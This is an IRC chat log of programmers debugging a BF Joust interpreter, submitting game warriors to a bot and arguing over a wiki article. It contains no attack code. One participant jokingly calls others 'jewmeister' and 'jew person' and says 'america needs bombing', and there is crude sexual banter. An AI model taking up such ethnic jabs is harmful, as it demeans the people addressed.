23:52:52 <fizzie> oerjan: The "old value" is the previous value in the "current counter" variable { and ) manipulate. I guess you could treat it as the top of the stack.
23:52:53 <Gregor> case foo: { int x; /* OH NOSE */ }
23:53:03 <elliott> Gregor: Yes, that is indeed ugly.
23:53:14 <elliott> Gregor: Of course were the syntax:
23:53:20 <elliott> switch (foo) { case ('x') { ... } }
23:53:27 <Deewiant> #define case(x) case x:
23:53:30 <fizzie> But the fall-thru!
23:53:31 <elliott> then there would be no problem. Also, Duff would have been stopped before he could propagate his insanity.
23:53:39 <elliott> fizzie: You could do what C# does, have "continue;".
23:54:06 <fizzie> Gregor: I used to do that sort of thing before my editor started indenting it all funny.
23:54:19 <oerjan> fizzie: oh i see you are not considering the "current value" as on the stack. well that should be equivalent to considering it so, in which case this is all equivalent to my idea i think
23:54:39 <Gregor> fizzie: My editor (VIM!) does it right :P
23:55:26 <fizzie> Gregor: Curiously enough, this happened about the same time as my latest Vim to Emacs flop. Hmm, I wonder... nah, can't be related.
23:55:52 <oerjan> elliott: incidentally if you store the counter and maximal value at (, then only ) needs to keep track of more than one of the others, i think ( both } and ) )
23:56:45 <oerjan> well ( and } need to know none of the others, { needs to know (
23:57:19 <oerjan> er *i think ( both } and ( )
23:57:45 <elliott> Gregor: lol @ vim users
23:57:58 <elliott> "Oh, I want to use vi, but I'd rather it be at least half as bloated as Emacs..."
23:58:04 <elliott> "Think you could arrange that for me?"
23:58:29 <elliott> ((((DELETED X-RATED SCENE "Also, it would be great if it told me about Ugandan children every time I started it up. Then I'd get good, bloated software, *and* awareness!"))))
23:58:46 <elliott> [U+PRBLM TROLL FACE]
23:59:57 <fizzie> Oh, the current splash (at least in this build) doesn't mention Uganda at all. Feels weird. (I've been ignoring it so haven't noticed.)
2011-02-17
00:00:48 <fizzie> :help sponsor, which is in the splash, still is all "see [uganda]" though.
00:01:40 <elliott> fizzie: It only pops it up every now and then.
00:01:43 <elliott> (Yes, it's non-deterministic.)
00:01:56 <elliott> Maybe the first time you run it on a tty, it seems.
00:02:21 <fizzie> Oh, I see.
00:09:36 -!- GreaseMonkey has joined.
00:09:36 -!- GreaseMonkey has quit (Changing host).
00:09:36 -!- GreaseMonkey has joined.
00:17:08 <quintopia> watson is getting steamrolled right now
00:17:18 <elliott> americans
00:17:19 <elliott> so weird
00:24:00 <elliott> Wow. -funroll-loops actually helps this program.
00:24:08 <Gregor> lol @ emacs users
00:24:20 <Gregor> "I would argue why emacs is so great, but my crippling RSI is preventing me from typing too much."
00:24:55 <elliott> Gregor: You will note that I was arguing from a pro-vi, anti-vim angle.
00:25:04 <elliott> "Oh, I want to use vi, [but I'd rather it be at least half as bloated as Emacs...]"
00:25:16 <elliott> I use Emacs but don't like it :P
00:25:25 <Sgeo> On the one hand, she [not KT-AT] called me "bay-beh" at the end of our conversation. On the other hand, she made it very clear that she does not find programming intuitive
00:26:04 <elliott> oerjan: hm does ( need to know where { is with your scheme?
00:26:43 <elliott> { needs to know where ( is obviously
00:27:29 -!- cheater00 has joined.
00:29:07 <elliott> oerjan: I find your lack of COMMENTS DISTURBING
00:30:56 -!- cheater99 has quit (Ping timeout: 272 seconds).
00:33:00 <oerjan> elliott: nope
00:33:24 <elliott> oerjan: hm. but i do have to note which ( operations have associated {}s to nest them properly :D
00:33:30 <oerjan> elliott: i am trying to browse a few web sites i haven't checked out since saturday
00:33:45 -!- augur has quit (Remote host closed the connection).
00:33:46 <quintopia> welp watson killed it
00:34:01 <oerjan> elliott: um, i thought you had lance up and going already?
00:34:07 -!- sebbu2 has joined.
00:34:08 -!- sebbu2 has quit (Changing host).
00:34:08 -!- sebbu2 has joined.
00:34:23 <elliott> oerjan: I did, but it had a bug that I couldn't figure out, so I'm basically rewriting it
00:34:32 <elliott> oerjan: It's done apart from {}
00:35:04 <oerjan> elliott: ok the thing about {} is to find the matching ()'s. this is the only part of the grammar which isn't context free...
00:35:13 <elliott> oerjan: yes, i already handle that, with my nesting stack
00:35:22 <oerjan> except that it is _itself_ a CF language though
00:35:33 <oerjan> intersecting with the rest
00:35:51 <oerjan> elliott: ok then what's the problem?
00:36:21 <elliott> oerjan: there is none
00:36:23 <elliott> :P
00:36:26 <oerjan> good, good
00:36:45 <elliott> oerjan: ok. but the ) needs to know where the } is.
00:36:48 <elliott> i think i can handle that.
00:37:02 <oerjan> obviously, for jumping, as does the { the (
00:37:07 -!- sebbu has quit (Ping timeout: 240 seconds).
00:37:07 -!- sebbu2 has changed nick to sebbu.
00:37:17 <oerjan> everything else depends on where you put the actual counter/maximum data
00:38:05 <oerjan> if the counter is 0 in the center, only ( and ) need to know the maximum
00:38:26 <oerjan> ...actually you could get away without ( knowing it, i think
00:39:07 <oerjan> if you're not using a stack
00:39:41 <oerjan> or wait can you
00:40:09 <oerjan> no, not with (({{}})) nesting, you cannot be assured it's set right before the (
00:41:15 <oerjan> and } is the only one which doesn't even need to know where the counter is
00:43:33 <elliott> $ ./lance '(+.)*-1' ''
00:43:33 <elliott> Syntax error: )* not followed by a repeat count (on line 1, at column 7)
00:43:34 <elliott> hmm
00:52:03 -!- iconmaster has joined.
00:55:02 -!- augur has joined.
00:57:29 <elliott> oerjan, did you break this? :/
00:57:41 <oerjan> break what?
00:57:44 -!- iconmaster has quit (Ping timeout: 255 seconds).
00:58:18 -!- pikhq has quit (Ping timeout: 240 seconds).
00:58:31 -!- pikhq has joined.
01:01:02 <Gregor> I want to find that level in SMW where Lakitu has a green mushroom on a fishing rod, and make two screenshots: One while he's carrying it and one getting hit by a spiny he throws. Then I will caption them "Lakitu giveth" and "Lakitu taketh away"
01:01:43 <elliott> Gregor: And then, finally, you will have fulfilled your purpose in life.
01:01:49 <Gregor> Yup
01:01:54 <elliott> By making TWO MILDLY FUNNY GAME-BASED CAPTIONED PICTURES
01:02:26 <Gregor> ITYM one mildly-funny two-caption game-based picture :P
01:21:11 <elliott> quintopia: oh! so this is why you guys keep talking about jeopardy!
01:21:15 <elliott> quintopia: this watson thing!
01:21:26 <elliott> quintopia: jeez WHY DID NOBODY INFORM
01:23:39 <quintopia> you never indicated you didn't jnow?
01:29:47 <elliott> quintopia: in britain
01:29:55 <elliott> we do not watch such trivial shows as you americans do
01:29:57 <elliott> we stick to high-class fare
01:29:57 <elliott> like
01:29:59 <elliott> britain's got talent
01:30:03 <elliott> dancing on ice
01:30:08 <elliott> and five thousand soap operas
01:30:09 <elliott> so
01:30:16 <elliott> no, I do not know about this Jeopardy! event thing!
01:30:29 * Lymia snatches elliott's tea
01:30:57 <elliott> FUCK YOU, MY MONOCLE WILL BE DISTURBED SLIGHTLY RETRIEVING THAT STOLEN GOOD
01:31:11 <Lymia> :(
01:31:56 <elliott> oerjan: Have you, in fact, "broken this shit"?
01:32:20 -!- nescience has joined.
01:32:49 <oerjan> elliott: i have no idea what you are referring to
01:32:50 <elliott> aha
01:32:51 <elliott> fixed
01:32:55 <elliott> oerjan: It was some shit that was broken, so to speak.
01:33:14 <Sgeo> How many people have trouble with for loops in C-like languages thanks to Visual Basic
01:33:57 <Lymia> What's Visual Basic's version of for loops?
01:34:06 <Lymia> The lack of such or something?
01:34:13 <quintopia> none that aren't idiots
01:34:25 <Sgeo> For i = somenumber To someothernumber
01:34:34 <nescience> end for
01:34:39 <nescience> next?
01:34:40 <nescience> next
01:35:00 <Sgeo> Yeah, Next
01:35:30 <oerjan> elliott: is the egobot bfjoust still allowing unmatched [] in ()* constructions?
01:35:39 <elliott> oerjan: yes. it is tyranny. but it will be ended soon. by lance.
01:35:44 <elliott> and fire.
01:35:45 <Lymia> oerjan, is that becoming a problem?
01:36:03 <oerjan> Lymia: it will be removed when the interpreter is replaced by a more efficient one
01:36:12 <Lymia> Ah.
01:36:14 <oerjan> because it makes it very hard to interpret efficientaly
01:36:43 <oerjan> elliott: i just noticed the recent editions of the BFJoust wiki page had removed that requirement from their definition
01:36:56 <elliott> oerjan: oh. well the edits suck anyway frankly >_>
01:36:59 <oerjan> but i guess that can be changed when the interpreter changes
01:37:21 <elliott> style guidelines fragrantly (yes fragrantly, as in fragrance) violated, italics <i>up the wazoo</i>
01:37:22 <oerjan> actually let me put it there as a warning
01:37:31 <elliott> oerjan: i'd prefer reverting X-P
01:37:36 <elliott> just that sneaky Gregor is all
01:37:36 <elliott> OH
01:37:37 <elliott> I'M AMERICAN
01:37:38 <elliott> I HAVE NO TASTE
01:37:39 <oerjan> ok i won't change it then
01:37:40 <elliott> SO I LIKE IT
01:38:01 <elliott> oerjan: psst if you just say "OH YEAH REVERTING IS AWESOME" then i'll have two europeans agreeing
01:38:04 <elliott> which is worth like 10 americans
01:38:37 <oerjan> *efficiently
01:38:46 <elliott> oerjan: yes indeed now agree
01:38:50 <elliott> be all
01:38:53 <elliott> "yes, i am agreeing"
01:39:28 <quintopia> elliott: IS LANCE FINISHED?????
01:39:43 <elliott> quintopia: in fact I am putting my final touches to THE INTERPRETERANODON right now.
01:39:51 <quintopia> :D
01:40:02 <elliott> can I revert if I agree to make the article so, so good tomorrow? :P
01:40:08 <elliott> i'm like
01:40:09 <elliott> the best writer
01:43:56 -!- variable has quit (Remote host closed the connection).
01:44:45 -!- variable has joined.
01:46:10 <oerjan> just one thing. everyone agree that the singular noun "parenthesis" does _not_ denote a pair of them?
01:47:28 <oerjan> YOUR WILD PROTESTS ARE TOO LATE
01:47:57 <pikhq> What about our calm, reasoned protests?
01:48:36 <oerjan> the edit has already happened. please unite under the common policy.
01:49:16 <Sgeo> How does The Onion Radio News suck so much?
01:49:46 <quintopia> elliott: don't revert. just improve it! i already made it about a thousand times less suck.
01:49:55 <elliott> quintopia: man no it's like 10x more suck.
01:49:56 <elliott> oerjan: agree
01:50:06 <elliott> quintopia: ais was all
01:50:10 <elliott> quintopia: "fucking ITALICS remove them"
01:50:11 <elliott> with less profanity
01:50:12 <elliott> and i was like
01:50:16 <elliott> fucking Capitalisation Is Wrong In Headings
01:50:17 <elliott> and I'm like
01:50:18 <elliott> man
01:50:26 <elliott> quintopia: i would improve it - totally - but -
01:50:32 <elliott> quintopia: I'm British, you must understand
01:50:32 <elliott> and
01:50:34 <quintopia> elliott: people were complaining it made no snse and was full of jargon. i defined everything and organized it sensibly
01:50:43 <quintopia> don't trash those improvements
01:50:47 <elliott> nobody complained that. apart from maybe people not in here, who are not the consumers of the wiki
01:50:58 <elliott> as I was saying - British - we're allergic to BLUDGEONING VIA TEXT, a very specific condition so while i would
01:50:58 <quintopia> they should be
01:51:03 <elliott> love to press edit and make modifications
01:51:17 <elliott> - quintopia: no, it wasn't full of jargon, it was perfectly reasonable, could do with edits and stuff to be better organised,
01:51:34 <elliott> but I don't see why you're so interested in getting random people to play bf joust, the kind of person who would be good at it will already find it themselves via the wiki and this channel -
01:51:37 <quintopia> my goal was to target non#esoteric people so as to lower the barrier of entry to new players
01:51:41 <elliott> i can't, you see, as i would instantly die of a heart attack.
01:51:42 <quintopia> so don't fuck that up
01:51:53 <elliott> quintopia: it's a game involving writing large amounts of brainfuck code and debugging.
01:51:58 <elliott> there is NO WAY to lower the barrier of entry.
01:52:04 <elliott> it is at the maximum altitude of objects in the world.
01:52:08 <quintopia> no
01:52:13 <elliott> if it were any higher it would enter the stratosphere.
01:52:14 <quintopia> it's easier than corewars
01:52:20 <elliott> *core war
01:52:28 <elliott> and no, it isn't
01:52:34 <quintopia> it is!
01:52:40 <elliott> submit a simple strategy to the hill, go on
01:52:41 <elliott> even a non-trivial one
01:52:43 <elliott> just not an advanced one
01:52:46 <elliott> watch it do terribly
01:52:48 <quintopia> you are crazy sir
01:52:48 <elliott> unless we have a n00b hill
01:52:55 <elliott> it will never have a low barrier to entry
01:53:04 <quintopia> stop thinking about changing things until you go sane
01:53:21 <elliott> and i don't think making the article worse so it has a "lower barrier to entry" helps at all. especially not if the kind of people you link the article to go "oh, i would understand it - if only all the admonishments were italic"
01:53:22 <elliott> >_>
01:53:26 <elliott> i'm not insane
01:53:31 <elliott> but core war has like multiple hills and shit
01:53:31 <quintopia> i didn't make it worse
01:53:35 <elliott> we don't, we have one
01:53:37 <elliott> quintopia: you did
01:53:38 <quintopia> it sucked so bad it hurt before
01:53:43 <quintopia> now it hurts less
01:54:11 <elliott> you crazy. i'm reverting it so that there's an article i can stand to focus my eyes on until tomorrow, when i will rewrite it or something
01:54:18 <elliott> fuckin' anti-british bludgeoning discrimination
01:54:26 <elliott> this is why america needs bombing, ya hear me
01:54:32 <quintopia> fuck you
01:54:48 <elliott> oerjan: look at these personal attacks i get for standing up for british people
01:54:50 <elliott> some fuckin' racism!
01:54:50 <quintopia> i spent an hour making it readable.
01:55:12 <quintopia> don't change it until you do it better
01:55:39 <elliott> i believe my point is precisely that reverting it would be doing better
01:56:36 <quintopia> which is incorrect
01:56:53 <elliott> i believe british opinions are worth more than american ones
01:56:57 <elliott> your voting is totally outed
01:57:05 <quintopia> reverting it is like upending a dirty laundry basket
01:57:25 <quintopia> it was a mess and had no semblance of order
01:58:11 <quintopia> you don't like the way i wroe the rules, rewrite them, but at least leave the current rules (the only rules used by anyone anywhere) at the top of the article where they belong
01:58:20 <elliott> all that needs doing is merging the three original sections and adding some introductory material _in a separate section or article_, *not* mixed in with the factual
01:58:30 <elliott> merging the latter two, that is
01:58:34 <elliott> and leaving the first as a historical note
01:59:21 <quintopia> historical note? people want history, they read the history section or oook at the article's history
01:59:28 -!- augur has quit (Ping timeout: 240 seconds).
01:59:35 <quintopia> the purpose of the article is to inform
01:59:40 <quintopia> about the current game
02:00:01 <Lymia> Stop fighting.
02:00:03 <Lymia> D=
02:00:07 <elliott> quintopia: that's why i said
02:00:08 <elliott> historical note
02:00:10 <elliott> in a history section
02:00:16 <elliott> now you're just being an idiot, that's exactly what i said ...
02:00:18 <elliott> sheesh
02:00:30 <quintopia> that's what i did with the article
02:00:42 <quintopia> i put the rules at the top and made a history section
02:00:53 <elliott> no, you pushed the rules to the top /and mixed them with introductory material/
02:00:56 <elliott> which just clouds both
02:02:24 <quintopia> the introductory material was already mixed with rules
02:02:33 <quintopia> i was copying the original format there
02:03:07 <quintopia> but again, that's something you could rewrite without ruining the far saner organization of the article
02:03:28 <elliott> so what you're saying is, i can rewrite it as long as i keep the current stuff at the top? well duh, nobody liked the old format
02:03:32 <elliott> i just don't like all the other changes :)
02:05:06 <quintopia> i'm saying tat you can rewwrite it,vas long as all the information that is there now stays, and you wait until you have the rewrite to make any change
02:05:36 <elliott> you an rewwrite it, Vas Long!
02:05:49 -!- augur has joined.
02:07:23 <quintopia> no u
02:13:16 <elliott> fizzie: hey
02:13:21 <elliott> fizzie: you know those two programs that were equivalent
02:13:23 <elliott> one using ()%
02:13:24 <elliott> and the other expanded
02:13:26 <elliott> gimme them again?
02:13:28 <elliott> the ones that bugged egojsout
02:16:31 <elliott> 16:25:25 <Sgeo> On the one hand, she [not KT-AT] called me "bay-beh" at the end of our conversation. On the other hand, she made it very clear that she does not find programming intuitive
02:16:31 <elliott> : w a t :
02:17:03 <elliott> man irc does not have
02:17:06 <elliott> enough spacing capabilities
02:17:10 <elliott> for the kind of spacing i want to express to sgeo
02:17:33 <Sgeo> elliott, some programmer girl I met on the bus
02:18:15 <elliott> quintopia: hey you, jewmeister
02:18:17 <elliott> gimme a program using ()%
02:19:44 <oerjan> those politely non-racist brits again
02:20:08 -!- oerjan has quit (Quit: Reboot).
02:22:31 <quintopia> elliott: okay. in a bit.
02:22:45 <elliott> the american man is disobeyful!
02:22:53 <Sgeo> I met her a while ago actually, but haven't spoken to her much since then. I only saw her for the second time today
02:22:55 <quintopia> elliot: why can't you use saccharin-philip?
02:23:08 <Sgeo> She somehow recognized me just as I was leaving the bus
02:23:16 <Sgeo> She remembered my name, and told me to call
02:23:18 <elliott> is it short?
02:23:19 <elliott> also TWO
02:23:20 <elliott> FUCKING
02:23:21 <elliott> TS
02:23:42 <elliott> $ ./lance '(>)*9([-]>)*21' ''
02:23:42 <elliott> <====================
02:23:43 <elliott> <====================
02:23:45 <elliott> INTERESTING
02:23:48 <elliott> oh
02:23:49 <elliott> duh
02:25:21 <coppro> that's a good sign
02:26:12 -!- nescience has quit (Ping timeout: 240 seconds).
02:27:48 <quintopia> sgeo: call her asap. go get you some
02:27:58 <Sgeo> quintopia, I called her earlier
02:27:59 <quintopia> and then transfer to a decent school
02:28:41 <Sgeo> She talked for half an hour about jobs
02:28:50 <quintopia> lame
02:29:02 <quintopia> talk about going out together
02:30:08 <Sgeo> About how she needs to knoww the answers for questions on interviews, how one needs to know every program (her term for programming language)
02:31:35 <elliott> giving advice to sgeo: PRODUCTIVE USE OF TIME
02:31:40 <elliott> has worked many times before in past!
02:32:25 <elliott> "one needs to know every program (her term for programming language)"
02:32:31 <elliott> you have exceeded my requirements for spacing
02:32:38 <elliott> : w a t :
02:32:42 <elliott> never do this again
02:33:03 <Sgeo> elliott, you don't think I have a high regard of her programming ability, do you?
02:33:29 <quintopia> sgeo: that sort of conversation will not get you laid! come back when you have exciting stories
02:34:08 <elliott> quintopia: dude the last time it was a girl who thought vitamin c cures cancer!
02:34:11 <elliott> quintopia: he may have INHERENT BAD LUCK.
02:34:22 <Sgeo> elliott, I'm still interested in her
02:34:58 <elliott> or just inherent poor judgement i guess
02:35:04 <quintopia> lol
02:35:35 <quintopia> sgeo: hit it and quit it. you don't need anything else tying you to that godforsaken place
02:35:40 <Sgeo> In 2009 it was an abstinence-only girl
02:36:07 <elliott> GIVING ADVICE TO SGEO
02:36:11 <elliott> STILL EXCELLENT USE OF TIME
02:36:22 <elliott> TRIED BEFORE TO SUCCESS DESCRIBED IN ADJECTIVE FORM AS: "GREAT"
02:37:45 -!- oerjan has joined.
02:37:58 <quintopia> yep
02:43:34 <elliott> hmm, how peculiar
02:45:22 <elliott> yay it works
02:45:28 <elliott> quintopia: got a program using ()% yet?
02:47:01 <elliott> I DOTH VERILY SEE THE PROBLEM AT WORK HERE
02:47:05 <elliott> !bfjoust hang_4eva ({})%3
02:47:21 <elliott> hey Gregor greggsy gregsmeister
02:48:09 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/HSgG
02:48:12 <Gregor> May or may not work...
02:50:19 <Gregor> elliott: Just noticed that you did that X_X
02:50:24 -!- azaq23 has joined.
02:50:31 <elliott> Gregor: It's an infinite loop, yo.
02:50:34 <Gregor> elliott: Remember how you're supposed to be making something better.
02:50:35 <EgoBot> Score for elliott_hang_4eva: 3.1
02:50:36 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 41.5
02:50:38 <elliott> Gregor: I think egojsout is vulnerable too.
02:50:48 <elliott> Gregor: Umm, yes, I'm trying to debug the fact that ({})%3 infloops in lance :P
02:51:00 <elliott> Despite the fact that I'm DIRECTLY COPYING EGOJSOUT*
02:51:00 <elliott> *kinda
02:51:13 <elliott> Hmm it does NOT FREEZE why is this
02:51:28 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
02:51:47 <Gregor> Because it's not made of fail?
02:52:01 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/HSgG
02:52:14 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 41.2
02:52:16 -!- poiuy_qwert has joined.
02:52:21 <elliott> Gregor: Nobut, as far as I can tell the semantics you implement for ({}) SHOULD infloop it.
02:52:31 <Gregor> ... no
02:52:36 <elliott> My trace looks like
02:52:37 <elliott> ({{{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{}){{})...
02:52:50 <quintopia> elliott: where's a good place for science news that doesn't make stupid mistakes or dumb it down to a degree that makes it not worth reading?
02:52:56 <Gregor> My trace should look like ({{{})))
02:53:01 <elliott> Gregor: WELP
02:53:13 <oerjan> elliott: it looks to me like your ) jumps back to the { rather than repeating itself
02:53:28 <elliott> oerjan: it should jump back to the }. but hm, yes, right, ) may be broken. oh. of course.
02:53:31 <elliott> its jump is always the (.
02:53:33 <elliott> must be }, in some cases.
02:53:35 <elliott> shall fix.
02:53:43 <elliott> quintopia: /r/science has recently got new actual-scientist mods and have vowed to totally delete shit that isn't proper sc13nc3, but I don't know how well it's worked
02:53:53 <elliott> looking at the front page it seems alright, much better than it used to be
02:54:01 <quintopia> sweet
02:54:09 <elliott> albeit not much actual _news_ news
02:54:16 <quintopia> ah
02:54:19 <elliott> but i guess there's a finite supply of interesting enough stuff
02:54:25 <elliott> I do see science news regularly
02:54:28 <elliott> on the front page proper
02:54:29 <elliott> from /r/science
02:57:47 -!- augur has quit (Ping timeout: 272 seconds).
02:59:59 -!- augur has joined.
03:03:37 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/CdEA
03:04:41 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 40.5
03:04:45 <Gregor> Hrm
03:05:21 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/MJdI
03:06:56 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 40.8
03:07:06 <Gregor> Oh noooooose
03:07:50 <elliott> oerjan: so er ) has to know where } is
03:07:56 <Gregor> With as many big decoys as there are on the hill right now, this will certainly fail:
03:07:57 <elliott> oerjan: but does ) have to know where ( is, if the maximum iteration is in (?
03:08:03 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/jKMS
03:08:42 <quintopia> gregor: stop for a second so i can check and make sure the ({})% compressed version of wireless_frownie is equivalent to egojoust?
03:08:57 <Gregor> quintopia: As soon as this one goes through, you go ahead.
03:09:12 <elliott> <elliott> oerjan: but does ) have to know where ( is, if the maximum iteration is in (?
03:09:13 <elliott> oerjan
03:09:14 <elliott> i need your scienc
03:09:15 <elliott> e
03:10:01 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 37.4
03:10:03 <quintopia> !bfjoust wireless_frownie (>)*7+<-<(+)*18<(-)*19<(-)*19<(+)*19<(-)*17<(-)*22(>)*9([[[[-[++([+{[(-)*26.[.-].[.++-------]]}])%25]]]]]+>)*21
03:10:08 <elliott> Gregor: get the science-meister oerjan
03:10:19 <Gregor> I need a better rush-clear algorithm ...
03:10:26 <EgoBot> Score for quintopia_wireless_frownie: 48.2
03:10:36 <quintopia> allegro is yeah that's the same score
03:10:43 <quintopia> elliott: there's a ({})% program for you
03:10:53 <quintopia> oh whoops
03:10:58 <quintopia> i interrupted myself XD
03:11:05 <quintopia> i was going to say allegro is kicking ass
03:11:09 <elliott> quintopia: simpler one would be nice :P
03:11:20 <Gregor> quintopia: I can go now, right? :P
03:11:35 <quintopia> elliott: that's freakishly simple. it doesn't even have any nesting of ({})%!
03:11:39 <quintopia> Gregor: go fer it
03:11:42 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/RDgF
03:11:47 <Gregor> This will assuredly be worse.
03:11:51 <elliott> quintopia: NOT FREAKISHLY SIMPLE FOR LANCE "SIMPLETON" LANCE
03:11:54 <elliott> but srsly
03:11:56 <elliott> needs the oerjan magic
03:12:39 <elliott> NO WAIT. THIS IS A GOOD THING. I AM NOT IN REQUIREMENT OF THE ... NO, I AM ... NOT!
03:12:53 <quintopia> make up yer mind
03:12:56 <elliott> IN FACT, IF I JUST MAKE SURE THAT ) KNOWS WHERE } IS, AND } GETS THE REPEAT COUNT -- I WILL BE FASCISM AT LAST!!
03:13:10 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 26.9
03:13:11 <elliott> this is really how i communicate with myself
03:13:11 <elliott> ahem
03:13:12 <elliott> anyway
03:13:13 <elliott> code time
03:13:26 <Gregor> lol
03:13:28 <elliott> oh dear, it is in requirement of: A BAD THING -- that is -- different nesting function! such the bads!
03:13:35 <elliott> therefore! write new function!
03:13:58 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/KRPY
03:14:23 <elliott> no wait!
03:14:25 <elliott> it doesn't push!
03:14:26 <elliott> BADS!
03:14:32 <elliott> but
03:14:33 <elliott> I can make it
03:14:43 <quintopia> ...if only he only talked to himself when talking to himself...
03:15:09 <quintopia> so i saw that ais523 likes my scoring alg :)
03:15:11 <elliott> quintopia: ha ha, what an amusing idea
03:15:15 <elliott> i disregard it
03:15:19 <elliott> bitch
03:15:22 <elliott> ehm okay it actually has to pop both
03:15:25 <Gregor> I'm not gonna implement shit in C 'til the weekend :P
03:15:26 <elliott> this is the worst day in my life? possibly
03:15:32 <elliott> no
03:15:33 <elliott> DEFINITELY
03:15:34 <elliott> oh wait
03:15:35 <elliott> I can do it in a
03:15:37 <Gregor> In fact, I'm not gonna implement anything BFJ-related except for warriors 'til the weekend.
03:15:48 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 45.1
03:15:49 <quintopia> Gregor: what's got you busy these days?
03:15:57 <elliott> quintopia: furry furry nipple clamp girls
03:15:59 <Gregor> quintopia: Schwork.
03:16:05 <elliott> duh
03:16:08 <quintopia> researches?
03:16:13 <quintopia> studying the javscripts?
03:16:22 <elliott> no
03:16:25 <elliott> furry furry nipple clamp girls.
03:16:28 <elliott> OH MAN
03:16:30 <elliott> I BROKE IT IN A TRUE WAY
03:16:31 <elliott> TRUE AND PROUD
03:16:34 <elliott> FEELS GOOD TO BE AN AMERICAN
03:17:04 <elliott> wrong! wrong! this code is WRONG!
03:17:09 <elliott> {} is NOT THE SIMPLE
03:17:50 <elliott> oh man
03:17:55 <elliott> I think { doesn't even set it right
03:17:56 <elliott> oh wait
03:17:57 <elliott> doesn't have to
03:17:58 <elliott> yay
03:19:00 <elliott> $ ./lance '({})%3' ''
03:19:00 <elliott> Syntax error: )% after repeat block not containing {}s; should be )* (on line 1, at column 5)
03:19:07 <elliott> useful error messages. wrong, but useful
03:27:21 <Gregor> Oy, I forgot trails again.
03:29:06 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/APba
03:29:16 <elliott> You... you... jew person.
03:29:56 <Gregor> Yowza, this is much worse :P
03:30:08 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 33.9
03:30:58 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/aZGh
03:31:18 <quintopia> i have this idea that's going to require SO MUCH NESTING.
03:31:25 <elliott> Gregor: *Oy vey, this is much oy vey :Oyvey
03:31:26 <quintopia> SO MUCH NESTING I DON'T EVEN FEEL LIKE WRITING IT.
03:31:48 <Gregor> quintopia: Remember my 400MB program? :P
03:31:54 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 37.1
03:32:04 <elliott> quintopia: Generator.
03:32:31 <quintopia> elliott: i don't think it'll need a generator. i think the nesting will be regular enough i can compress it.
03:37:38 <oerjan> <elliott> oerjan: but does ) have to know where ( is, if the maximum iteration is in (? <-- ) needs to know the maximum iteration (assuming the counter is incrementing outwards.) you could save the maximum also with ) instead of ('s position, i guess.
03:37:52 <elliott> yeah.
03:38:01 <elliott> this is gettin' kinda BUGGSY though.
03:39:05 <quintopia> gangsta?
03:39:17 <elliott> totally
03:40:34 <oerjan> <elliott> IN FACT, IF I JUST MAKE SURE THAT ) KNOWS WHERE } IS, AND } GETS THE REPEAT COUNT -- I WILL BE FASCISM AT LAST!! <- that's a bit strange since } doesn't need to know it _itself_...
03:40:55 <elliott> oerjan: yes but, if i do it the other way, ) has to know where } _and_ ( is
03:41:00 <elliott> which is ANOTHER field in ins_t
03:41:02 <elliott> something i would RATHER AVOID
03:41:10 <elliott> since i allocate like 1 million of them to store shit
03:42:53 <oerjan> elliott: i told you, ) can save the maximum count with itself. just duplicate it, it never changes.
03:43:10 <elliott> oerjan: well that is TRUE. it is er
03:43:13 <elliott> very true yes
03:43:15 <elliott> oerjan: BUT HOWEVER
03:43:18 <elliott> ) matches both ( and }
03:43:18 <elliott> so
03:43:19 <elliott> it's more
03:43:21 <elliott> GENERIC CODE
03:43:24 <elliott> if I store it in the matched thing
03:43:26 <elliott> unconditionally
03:43:56 <oerjan> ah but for the ()* case ( doesn't need the maximum...
03:44:14 <oerjan> well if ( pushes 0, that is
03:44:38 <oerjan> which is what you want if you want ) to be the same implementation for * and %
03:44:50 <oerjan> one of ( or ) has to be different, anyway
03:44:56 <elliott> oerjan: yes but ) checks ( for the maximum!!
03:45:00 <elliott> it's
03:45:06 <elliott> ++(->iter < (->repeat
03:45:07 <elliott> or whatevs
03:45:18 <elliott> and yes, ) does indeed differ
03:45:25 <elliott> BUT i am all with these "PARSING BUGS" right now
03:45:57 <elliott> oerjan: do you see
03:45:59 <elliott> "PARSING BUGS"
03:46:07 <oerjan> ...
03:46:18 <elliott> what
03:46:21 <elliott> i am communicating like a human
03:46:25 <elliott> THAT IS NOT SUSPICIOUS
03:46:28 <elliott> THAT IS ... "NORMAL"
03:46:38 <elliott> man i am so fucking annoying in this place, isn't it great
03:46:50 <oerjan> ...maybe
03:47:12 <elliott> oerjan do not even CONSIDER banning me for a SECOND.
03:47:13 <quintopia> hey oerjan: don't you just love it when we have conversations where we pretend that elliott isn't here?
03:47:20 <elliott> NO
03:47:22 <elliott> HE DOES NOT LOVE THAT
03:47:26 <elliott> s/ / /
03:47:32 <elliott> anyway quintopia you've only been here since like
03:47:33 <elliott> YESTERDAY
03:47:34 <oerjan> quintopia: no.
03:47:36 <elliott> i am 2007 vintage baby
03:47:38 <elliott> see
03:47:41 <elliott> the man does not like it!
03:47:44 <elliott> and i am not typing messages at his console
03:47:45 <elliott> noep
03:47:47 <elliott> it's him
03:47:49 <elliott> all him
03:48:16 <quintopia> oerjan: i mean, we he starts rambling nonsense, what do you think he wants from us?
